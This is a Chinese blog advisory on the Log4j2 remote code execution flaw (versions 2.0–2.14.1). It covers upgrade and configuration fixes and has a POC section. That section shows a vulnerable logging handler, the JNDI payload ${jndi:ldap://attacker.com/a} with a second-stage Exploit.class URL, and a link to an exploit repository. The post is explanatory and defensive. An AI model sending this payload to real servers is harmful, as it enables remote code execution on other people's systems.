致访客
感谢各位一年多的陪伴,因内容调整,本站将于近日迁移到新域名并不再更新主要内容。
欢迎访问新站:是非,特此通知。

MENU

Log4j2远程执行0day

• December 11, 2021 • Java,信息安全

致访客
感谢各位一年多的陪伴,因内容调整,本站将于近日迁移到新域名并不再更新主要内容。
欢迎访问新站:是非,特此通知。

概述

Apache Log4j2存在远程执行代码漏洞

影响范围

Apache log4j2 2.0 - 2.14.1

解决方案1

升级到log4j22.15版本

<dependencies>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.15.0</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.15.0</version>
    </dependency>
</dependencies>

解决方案2

不升级到最新版本的情况下可以修改下列内容进行补救:

  • 修改JVM参数,设置 -Dlog4j2.formatMsgNoLookups=true
  • 在涉及漏洞的项目的类路径(classpath)下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true

POC

攻击者可以通过JNDI执行LDAP协议从而注入代码

import org.apache.log4j.Logger;
 ​
 import java.io.*;
 import java.sql.SQLException;
 import java.util.*;
 ​
 public class VulnerableLog4jExampleHandler implements HttpHandler {
 ​
   static Logger log = Logger.getLogger(log4jExample.class.getName());
 ​
   /**
    * A simple HTTP endpoint that reads the request's User Agent and logs it back.
    * This is basically pseudo-code to explain the vulnerability, and not a full example.
    * @param he HTTP Request Object
    */
   public void handle(HttpExchange he) throws IOException {
     string userAgent = he.getRequestHeader("user-agent");
     
     // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
     // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
     log.info("Request User Agent:" + userAgent);
 ​
     String response = "<h1>Hello There, " + userAgent + "!</h1>";
     he.sendResponseHeaders(200, response.length());
     OutputStream os = he.getResponseBody();
     os.write(response.getBytes());
     os.close();
   }
 }
  • 攻击者向漏洞服务器发起攻击请求。
  • 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的payload${jndi:ldap://attacker.com/a}
  • 记录的payload被触发,服务器通过JNDI向attacker.com请求。
  • attacker.com就可以在响应中添加可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
  • 攻击者执行脚本。

利用:https://gitee.com/pangdonghai/apache-log4j-poc

相关内容

https://bbs.ichunqiu.com/thread-62322-1-1.html
https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA
https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA